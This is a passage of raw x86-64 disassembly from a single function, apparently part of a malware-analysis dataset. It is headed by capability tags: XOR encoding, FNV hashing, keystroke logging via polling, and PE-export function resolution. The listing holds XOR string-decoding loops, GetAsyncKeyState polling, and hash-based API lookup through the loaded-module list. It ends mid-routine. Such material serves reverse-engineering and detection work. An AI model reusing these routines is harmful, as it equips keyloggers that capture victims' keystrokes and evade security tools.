Function at 0x18006a970
Capabilities:
Encode data using xor
Hash data using fnv
Log keystrokes via polling
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
push rbx
sub rsp, 0x90
movaps xmmword [rax - 0x18], xmm6
lea rcx, [rax + 0x10]
movaps xmmword [rax - 0x28], xmm7
movaps xmmword [rax - 0x38], xmm8
movaps xmmword [rax - 0x48], xmm9
movaps xmmword [rax - 0x58], xmm10
movaps xmmword [rax - 0x68], xmm11
mov qword [rax + 0x10], 0x5dc
call fcn.1800623f0
mov ebx, dword [reloc.WS2_32.dll_accept]
movdqa xmm9, xmmword [0x1801babe0]
movdqa xmm6, xmmword [0x1801bab70]
movdqa xmm7, xmmword [0x1801bab60]
movdqa xmm10, xmmword [0x1801bad00]
movdqa xmm11, xmmword [0x1801bab80]
movdqa xmm8, xmmword [0x1801bac50]
mov eax, dword [0x1801b8aa0]
xor ecx, ecx
movsd xmm0, qword [0x1801b8a98]
mov dword [rsp + 0x28], eax
movzx eax, byte [0x1801b8aa4]
mov byte [rsp + 0x2c], al
movsd qword [rsp + 0x20], xmm0
cmp ebx, 2
jl 0x18006aad7
movdqa xmm1, xmm7
movdqa xmm0, xmm7
punpckldq xmm1, xmm7
mov ecx, 8
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, dword [0x1801b8a98]
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm10
xorps xmm1, xmm0
movdqa xmm0, xmm6
movd dword [rsp + 0x20], xmm1
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, dword [rsp + 0x24]
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm10
xorps xmm1, xmm0
movd dword [rsp + 0x24], xmm1
movsxd rax, ecx
lea r8, [rsp + 0x20]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
lea r8, [r8 + 1]
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x37
movzx eax, cl
inc ecx
sub al, dl
add al, 0x32
xor byte [r8 - 1], al
cmp ecx, 0xd
jl 0x18006aaf0
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x18006ab4a
lea rcx, [rsp + 0xa8]
mov qword [rsp + 0xa8], reloc.WS2_32.dll_sendto
call fcn.1800623f0
jmp 0x18006a9e2
movaps xmm6, xmmword [rsp + 0x80]
movaps xmm7, xmmword [rsp + 0x70]
movaps xmm8, xmmword [rsp + 0x60]
movaps xmm9, xmmword [rsp + 0x50]
movaps xmm10, xmmword [rsp + 0x40]
movaps xmm11, xmmword [rsp + 0x30]
add rsp, 0x90
pop rbx
jmp 0x1800b83e0
mov rax, rsp
mov qword [rax + 0x20], rbx
push rbp
push r12
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0x100
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
movaps xmmword [rax - 0x48], xmm8
movaps xmmword [rax - 0x58], xmm9
movaps xmmword [rax - 0x68], xmm10
movaps xmmword [rax - 0x78], xmm11
mov rax, qword [0x18023c800]
xor rax, rsp
mov qword [rbp - 0x29], rax
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x30], 0xc80
call fcn.1800623f0
mov ecx, dword [0x180240960]
xor r15d, r15d
mov rax, qword gs:[0x58]
mov r12d, dword [reloc.WS2_32.dll_accept]
movdqa xmm9, xmmword [0x1801babe0]
movdqa xmm7, xmmword [0x1801bab70]
mov rax, qword [rax + rcx*8]
movdqa xmm6, xmmword [0x1801bab60]
movdqa xmm11, xmmword [0x1801bad00]
movdqa xmm10, xmmword [0x1801bab80]
movdqa xmm8, xmmword [0x1801bac50]
mov edx, 4
mov eax, dword [rdx + rax]
cmp dword [0x180240548], eax
jg 0x1800bb716
cmp byte [0x180240544], r15b
jne 0x1800b860e
mov eax, dword [0x1801b8a48]
mov r8d, r15d
movsd xmm0, qword [str.PZZ]
mov dword [rsp + 0x38], eax
movzx eax, byte [0x1801b8a4c]
mov byte [rbp - 0x7d], al
movsd qword [rsp + 0x30], xmm0
cmp r12d, 2
jl 0x1800b85a8
movd eax, xmm11
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm7
pmuldq xmm1, xmm8
mov r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.PZZ]
xorps xmm1, xmm0
movdqa xmm0, xmm7
movd dword [rsp + 0x30], xmm1
movdqa xmm1, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x34]
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x34], xmm2
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x1800b85c0
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
setne byte [0x180240544]
test rax, rax
je 0x1800b84a6
lea rdx, [rsp + 0x30]
mov word [rbp - 0x2e], gethostname
lea rcx, [0x18023d940]
mov word [rbp - 0x31], 0x7467
mov byte [rbp - 0x2f], 0x61
mov byte [rbp - 0x2c], r15b
call fcn.1800af390
lea rdx, [rbp - 0x31]
mov rcx, rax
call fcn.180054120
lea rcx, [rsp + 0x30]
movzx ebx, al
call fcn.180068b30
test bl, bl
jne 0x1800b865c
lea rcx, [0x18023d538]
call fcn.1800c8890
lea rcx, [0x18023d538]
call fcn.1800bc350
mov ecx, reloc.WS2_32.dll_WSACleanup
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jne 0x1800b869b
mov qword [rsp + 0x30], reloc.WS2_32.dll_sendto
lea rcx, [rsp + 0x30]
call fcn.1800623f0
mov ecx, reloc.WS2_32.dll_WSACleanup
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x1800b8681
mov rax, qword [0x18023ffb0]
mov qword [rsp + 0x120], rsi
mov qword [rsp + 0x128], rdi
cmp byte [rax], r15b
jne 0x1800b8caa
mov r10, qword [0x180240590]
test r10, r10
jne 0x1800b8787
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1800b8768
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1800b8768
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x6b9279eb
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x1800b8763
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x1800b8740
cmp edx, 0xaf22f7ca
je 0x1800b89ac
test r8d, r8d
jne 0x1800b8720
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x1800b877d
cmp qword [rax + 0x30], r15
jne 0x1800b86f0
mov r10, r15
mov qword [0x180240590], r10
movzx eax, byte [0x1801b8a80]
mov r8d, r15d
mov byte [rbp - 0x39], al
movups xmm0, xmmword [0x1801b8a50]
movups xmm1, xmmword [0x1801b8a60]
movups xmmword [rbp - 0x69], xmm0
movups xmm0, xmmword [0x1801b8a70]
movups xmmword [rbp - 0x59], xmm1
movups xmmword [rbp - 0x49], xmm0
cmp r12d, 2
jl 0x1800b88c1
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp - 0x65]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm8
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm8
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x30
jl 0x1800b87d0
cmp r8d, 0x31
jge 0x1800b8900
movsxd rax, r8d
lea r9, [rbp - 0x69]
add r9, rax
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x31
jl 0x1800b88d0
xor r9d, r9d
lea r8, [0x1801a2c24]
lea rdx, [rbp - 0x69]
xor ecx, ecx
call r10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800b89a7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800b89a7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xc3cf7d08
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1800b89a2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1800b8980
cmp r8d, 0x7b90371e
je 0x1800b89c9
test r9d, r9d
jne 0x1800b8960
mov rax, qword [rax]
jmp 0x1800b8930
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov r10d, dword [rcx + rdx*4]
add r10, r9
jmp 0x1800b8780
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov rcx, qword gs:[0x60]
mov rsi, rax
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800b8a77
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800b8a77
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xcacf880d
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x1800b8a72
nop dword [rax]
movsx eax, al
lea rdx, [rdx + 1]
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx - 1]
test al, al
jne 0x1800b8a50
cmp r8d, 0x7bfe9961
je 0x1800b8a7c
test r9d, r9d
jne 0x1800b8a30
mov rcx, qword [rcx]
jmp 0x1800b8a00
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor edx, edx
add rax, r10
mov rcx, rsi
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800b8b27
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800b8b27
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x76156ba5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1800b8b22
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1800b8b00
cmp r8d, 0xfc174359
je 0x1800b8b2c
test r9d, r9d
jne 0x1800b8ae0
mov rax, qword [rax]
jmp 0x1800b8ab0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800b8bd7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800b8bd7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xeed075bd
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1800b8bd2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1800b8bb0
cmp r8d, 0x2177f1dd
je 0x1800b8bdc
test r9d, r9d
jne 0x1800b8b90
mov rax, qword [rax]
jmp 0x1800b8b60
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor ecx, ecx
add rax, r10
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800b8c87
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800b8c87
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xee801849
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1800b8c82
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1800b8c60
cmp r8d, 0xa324c878
je 0x1800b8c8c
test r9d, r9d
jne 0x1800b8c40
mov rax, qword [rax]
jmp 0x1800b8c10
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor ecx, ecx
add rax, r10
call rax
mov byte [rax], r15b
lea rcx, [fcn.1800728c0]
call fcn.1800ac5e0
call fcn.1800e51c0
mov rcx, qword [0x18023d520]
lea r8, [0x18023d528]
lea rdx, [0x1800b82d0]
call fcn.1800e4f30
test eax, eax
je 0x1800b91ec
call fcn.1800e5260
mov r10, qword [0x180240668]
test r10, r10
jne 0x1800b8da7
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1800b8d88
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1800b8d88
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x7b68627
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x1800b8d83
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x1800b8d60
cmp edx, 0xe8985f96
je 0x1800b8f9c
test r8d, r8d
jne 0x1800b8d40
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x1800b8d9d
cmp qword [rax + 0x30], r15
jne 0x1800b8d10
mov r10, r15
mov qword [0x180240668], r10
cmp byte [0x1801b5c9b], r15b
movsd xmm0, qword [0x1801b5c90]
mov eax, dword [0x1801b5c98]
movsd qword [rsp + 0x30], xmm0
mov dword [rsp + 0x38], eax
je 0x1800b8ef0
mov r8d, r15d
cmp r12d, 2
jl 0x1800b8eac
movd eax, xmm11
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm7
pmuldq xmm1, xmm8
mov r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b5c90]
xorps xmm1, xmm0
movdqa xmm0, xmm7
movd dword [rsp + 0x30], xmm1
movdqa xmm1, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x34]
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x34], xmm2
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x1800b8ec0
xor r9d, r9d
lea r8, [0x1801a2c24]
lea rdx, [rsp + 0x30]
xor ecx, ecx
call r10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800b8f97
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800b8f97
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xc5e69027
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1800b8f92
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1800b8f70
cmp r8d, 0x697ba923
je 0x1800b8fb9
test r9d, r9d
jne 0x1800b8f50
mov rax, qword [rax]
jmp 0x1800b8f20
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov r10d, dword [rcx + rdx*4]
add r10, r9
jmp 0x1800b8da0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov rcx, qword gs:[0x60]
mov rsi, rax
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800b9067
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800b9067
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xc4e68e94
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x1800b9062
nop
movsx eax, al
lea rdx, [rdx + 1]
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx - 1]
test al, al
jne 0x1800b9040
cmp r8d, 0xe118dc60
je 0x1800b906c
test r9d, r9d
jne 0x1800b9020
mov rcx, qword [rcx]
jmp 0x1800b8ff0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor edx, edx
add rax, r10
mov rcx, rsi
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800b9117
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800b9117
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xd8548b6d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1800b9112
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1800b90f0
cmp r8d, 0xa5636d61
je 0x1800b911c
test r9d, r9d
jne 0x1800b90d0
mov rax, qword [rax]
jmp 0x1800b90a0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800b91c7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800b91c7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xa034d4f
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1800b91c2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1800b91a0
cmp r8d, 0x595469cf
je 0x1800b91cc
test r9d, r9d
jne 0x1800b9180
mov rax, qword [rax]
jmp 0x1800b9150
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor ecx, ecx
add rax, r10
call rax
jmp 0x1800b970c
mov rcx, qword [0x18023d520]
call fcn.1800e51b0
test eax, eax
je 0x1800b970c
mov r10, qword [0x180240660]
test r10, r10
jne 0x1800b92c7
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1800b92a8
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1800b92a8
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x7be7f69d
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x1800b92a3
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x1800b9280
cmp edx, 0x80bcce7c
je 0x1800b94bc
test r8d, r8d
jne 0x1800b9260
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x1800b92bd
cmp qword [rax + 0x30], r15
jne 0x1800b9230
mov r10, r15
mov qword [0x180240660], r10
mov eax, dword [0x1801b5ca8]
mov r8d, r15d
movsd xmm0, qword [0x1801b5ca0]
mov dword [rsp + 0x38], eax
movzx eax, byte [0x1801b5cac]
mov byte [rbp - 0x7d], al
movsd qword [rsp + 0x30], xmm0
cmp r12d, 2
jl 0x1800b93c9
movd eax, xmm11
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm7
pmuldq xmm1, xmm8
mov r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b5ca0]
xorps xmm1, xmm0
movdqa xmm0, xmm7
movd dword [rsp + 0x30], xmm1
movdqa xmm1, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x34]
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x34], xmm2
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
